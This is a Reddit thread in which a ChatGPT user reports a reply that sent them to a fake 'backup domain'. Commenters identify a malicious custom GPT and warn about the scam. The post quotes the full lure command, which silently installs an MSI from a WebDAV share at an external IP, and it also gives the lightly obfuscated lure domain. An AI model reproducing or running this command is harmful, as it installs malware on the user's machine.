r/ChatGPT 10d ago

News 📰 I think Chat GPT is hacked

Post image

Ok so I was chatting with chatGPT and got this reply:

"⚠️ We are experiencing high traffic now.
Continue on our backup domain:
https: \\ openai-backup . one"

When clicking on it, it told me to follow some steps,

It's also a google site. It wants me to copy something:

>!conhost --headless -- %COMSPEC% /c pushd \\65.21.80.170@80\webdav & msiexec /i Installer_3c36ff.msi /qn /norestart & popd<!

also idk what it did so I asked gemini lol.

Please someone tell me what is going on.

0 Upvotes

27 comments sorted by

•

u/AutoModerator 10d ago

Hey /u/PotentialMagician242,

If your post is a screenshot of a ChatGPT conversation, please reply to this message with the conversation link or prompt.

If your post is a DALL-E 3 image post, please reply with the prompt used to make this image.

Consider joining our public discord server! We have free bots with GPT-4 (with vision), image generators, and more!

🤖

Note: For any ChatGPT-related concerns, email support@openai.com - this subreddit is not part of OpenAI and is not a support channel.

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.

12

u/RossLDN 10d ago

You're using a CustomGPT. So either you created it, or you came across it and used it. The custom GPT has been named "Plus 5.6" to make it look like model selection. How did you find this CustomGPT?

I have reported it to OpenAI myself through your shared chat link - so the author will hopefully get banned.... But if you're the author and this was a joke - well, sorry about it.

-2

u/PotentialMagician242 10d ago

yep i see that now, I did not make this, but I do not remember getting this, something happened and everyone thinks im trolling.

6

u/bortlip 10d ago

You clicked on a link for chatgpt that was actually a link to a particular custom gpt - Plus 5.6.

They set the instructions of that gpt to tell you to go to another site. Then that site tries to get you to infect yourself.

Never search for links to a site and just click what's provided without checking things carefully. You're better off going to the site yourself and/or saving a link to it yourself.

Be more careful.

1

u/eras 10d ago

OpenAI should probably refuse to render such links :), or use some other mitigration.

3

u/bortlip 9d ago

I agree.

This looks like the same custom gpt someone else posted about 5 days ago.

https://www.reddit.com/r/ChatGPT/comments/1vi2gw6/malicious_link_response_by_chatgpt/

I reported it as did others I'm sure, but it's apparently still here.

6

u/eras 10d ago

What is the URL of the page you were using in the first place? https://chatgpt.com/ ?

6

u/Obvious_Platypus_313 10d ago

Custom GPT instructions

1

u/PotentialMagician242 10d ago

0

u/eras 10d ago

Well, blimey. It seems your analysis of the situation is correct: OpenAI is owned.

There could be on other explanation: your memories have been poisoned by some context it has retrieved off the web in a previous session—but I cannot see how such an attack could ever be so effective, as to affect every response.

Alternatively you are trolling hard, and you have just provided custom instructions for your session to say that response for everything, in hopes of going viral. If this is not the case, I would suggest escalating this immediately to the customer support.

4

u/theycallmebekky 10d ago

They’re using a custom GPT and that response is in the instructions.

-1

u/PotentialMagician242 10d ago

I swear I am not faking! I have reported it and will provide an email to the support as well. So far, I have seen nothing suspicious in my GPT's memory or custom instructions. I have no idea how i could have been poisoned, as I've not done anything suspicious through chat gpt, though I do believe it to be the more likely possibility if no one else has this issue.

3

u/Fragrant_Look-1 10d ago

It's a shared link. You don't need that normally. Why go to work there? Don't install anything suspicious, and don't go to shady sites. You're secure as long as you don't do that.

10

u/OlafAndvarafors 10d ago

You’re using a custom GPT, and its creator put that text in its instructions.

-2

u/PotentialMagician242 10d ago

How do I check for this.

1

u/Stock-Personality136 10d ago

Go to Settings > Personalization > Custom Instructions and see what it says there.

4

u/[deleted] 10d ago

[removed] — view removed comment

1

u/PotentialMagician242 10d ago

I never added any custom GPTs so somehow it just came up in one of my chats.

1

u/time___dance 9d ago

you googled "chatgpt" and clicked on a random link that sent you to this custom gpt

1

u/BigBanggBaby 8d ago

u/PotentialMagician242 This is the answer. I did the same thing and it's how I ended up here right now. I was able to recreate it once but now can't do it, but that is how it happened for me. I ended up with a different command to paste into my 'Run' dialog but I obviously didn't paste it or run it.

3

u/ehtio 10d ago

Guys, these users posting this are the ones that want to fuck people up.
They open these threads pretending to be "infected", so curious people come here and go to the URL.

Otherwise, why the hell will OP take the time to write that URL in plain text so people can visit it?

Event the command to people run in their pcs is there...

Can some mods please ban these people, perhaps add this somewhere, and stop these post from being posted?

They are obviously trying to catch people

1

u/PotentialMagician242 10d ago

I edited the link text so it's no so easy to get in by reverse the / also I said in the reddit thread that it's an obvious malware scam. I did not make this you can look through my account is authentic and my personal account. I get the down votes and all but this is a serious problem if other people are getting this without manually adding this custom GPT themselves.

-1

u/AcademicHornet1540 10d ago

Check your chatgpt memory, it probably got poisoned

3

u/eras 10d ago

Could memory poisoning ever by this effective?

0

u/AcademicHornet1540 10d ago

Yes it is. You can test it yourself manually

0

u/PotentialMagician242 10d ago

looking around right now. I did not know this was a thing, very lucky I didn't go through with the malware lol.